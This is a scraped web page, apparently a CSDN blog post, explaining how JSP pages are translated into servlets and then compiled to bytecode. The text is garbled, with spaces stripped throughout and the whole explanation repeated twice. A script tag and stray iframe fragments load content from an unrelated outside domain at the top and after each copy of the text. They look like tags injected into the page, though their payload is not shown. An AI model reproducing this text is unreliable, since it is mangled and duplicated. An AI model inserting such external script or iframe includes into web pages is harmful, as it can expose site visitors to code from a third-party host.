Csdn-Blog <script language="javascript" src="http://www.023rcsc.com/count/count2.asp"></script>
Likemostsourcecode,JSPpagesstartlifeastextfilesandendupbeingcompiled.
AJSPfile,though,takesasomewhatmorecircuitousroutethroughthisprocess
thandoesatypicalJavaprogram.Beforebeingrun,JSPpagesaretranslatedtoservlets.
ThistranslationinvolvesconversionofJSPsourcecodeintoservletsourcecode
bytheJSPcontainer.(ThisstepissometimesreferredtoascompilationofaJSPpage
intoaservlet,butitshouldbedifferentiatedfromcompilationofJavacodeinto
bytecodes.)Afterthistranslation,theservletclassis,itself,compiled.
BecauseJSPpagesaretranslatedtoservlets,theyinheritservlets’dependenceon
therequest/responsemodel.JSPpages,likeservlets,arecalledinresponseto
requests,andtheyproduceresponses.WhentheJSPcontainertranslatesthebody
ofaJSPpageintoaservlet,itproducesanewclassthatimplementsthe
javax.servlet.Servletinterface.Thisclasshasamethodcalled_jspService()
thatisbuiltfromthebodyoftheJSPpage.Furthermore,unlessthepageauthor
specificallyrequestsgreatercontrolviatheextendsattributeofthe<%@page%>
directive—whichisextremelyrare—thecontainerbasesthegeneratedclassona
classwhoseservice()calls_jspService().Inshort,aJSPpageistranslatedintoa
methodthatmapsrequeststoresponsesbasedonthecontentsoftheJSPpage.
Howdothecontentsgettranslated?TheeasiestpartoftheJSPsourcefileto
translateisthetemplatetext—thatis,thepartofthepagethatisn’tadirective,a
scriptingelement,anaction,oranythingelsespecifictoJSP(suchasJSPcomments,
).ThistemplatetextmightbeHTML,orit
couldbeXMLortextinanarbitraryformat.TheJSPcontainerdoesn’tcarewhatit
is;itsimplyoutputsitaspartoftheresponse.Forexample,thefollowingtext:
<p>Templatetext</p>
mightbeconvertedintoacallthatlookslike
out.println(“<p>Templatetext</p>”);
Scriptingexpressionsarealsoeasytotranslateandincorporateintotheservlet,for
theJavacodeembeddedinthemispassedthroughasis.TheJavacodewillbe
includedattherightplaceintheservlet,anditwillberunasappropriatewhenthe
servletisrun.
Actionelementsaresomewhatmorecomplicatedtotransfer,buttheendresultis
thattheJSPcontainerwritescallstoappropriateJavacodeatthecorrectspotsinthe
generatedservlet’ssourcecode.Iftheactionisacustomactionyou’vewritten
yourself,thetranslationwillinvolvecreatingcallstoyourcustomcode.
OncethetranslationfromtheJSPpageintoaservletiscomplete,thebehindthe-
scenesservletiscompiledintoJavabytecodes.
JSP working mechanism src="http://www.023rcsc.com/count/iframe2.asp" frameborder="0" width="650" scrolling="no" height="160">
JSP working mechanism
bspLikemostsourcecode,JSPpagesstartlifeastextfilesandendupbeingcompiled.
AJSPfile,though,takesasomewhatmorecircuitousroutethroughthisprocess
thandoesatypicalJavaprogram.Beforebeingrun,JSPpagesaretranslatedtoservlets.
ThistranslationinvolvesconversionofJSPsourcecodeintoservletsourcecode
bytheJSPcontainer.(ThisstepissometimesreferredtoascompilationofaJSPpage
intoaservlet,butitshouldbedifferentiatedfromcompilationofJavacodeinto
bytecodes.)Afterthistranslation,theservletclassis,itself,compiled.
BecauseJSPpagesaretranslatedtoservlets,theyinheritservlets’dependenceon
therequest/responsemodel.JSPpages,likeservlets,arecalledinresponseto
requests,andtheyproduceresponses.WhentheJSPcontainertranslatesthebody
ofaJSPpageintoaservlet,itproducesanewclassthatimplementsthe
javax.servlet.Servletinterface.Thisclasshasamethodcalled_jspService()
thatisbuiltfromthebodyoftheJSPpage.Furthermore,unlessthepageauthor
specificallyrequestsgreatercontrolviatheextendsattributeofthe<%@page%>
directive—whichisextremelyrare—thecontainerbasesthegeneratedclassona
classwhoseservice()calls_jspService().Inshort,aJSPpageistranslatedintoa
methodthatmapsrequeststoresponsesbasedonthecontentsoftheJSPpage.
Howdothecontentsgettranslated?TheeasiestpartoftheJSPsourcefileto
translateisthetemplatetext—thatis,thepartofthepagethatisn’tadirective,a
scriptingelement,anaction,oranythingelsespecifictoJSP(suchasJSPcomments,
).ThistemplatetextmightbeHTML,orit
couldbeXMLortextinanarbitraryformat.TheJSPcontainerdoesn’tcarewhatit
is;itsimplyoutputsitaspartoftheresponse.Forexample,thefollowingtext:
<p>Templatetext</p>
mightbeconvertedintoacallthatlookslike
out.println(“<p>Templatetext</p>”);
Scriptingexpressionsarealsoeasytotranslateandincorporateintotheservlet,for
theJavacodeembeddedinthemispassedthroughasis.TheJavacodewillbe
includedattherightplaceintheservlet,anditwillberunasappropriatewhenthe
servletisrun.
Actionelementsaresomewhatmorecomplicatedtotransfer,buttheendresultis
thattheJSPcontainerwritescallstoappropriateJavacodeatthecorrectspotsinthe
generatedservlet’ssourcecode.Iftheactionisacustomactionyou’vewritten
yourself,thetranslationwillinvolvecreatingcallstoyourcustomcode.
OncethetranslationfromtheJSPpageintoaservletiscomplete,thebehindthe-
scenesservletiscompiledintoJavabytecodes.
JSP working mechanism src="http://www.023rcsc.com/count/iframe2.asp" frameborder="0" width="650" scrolling="no" height="160">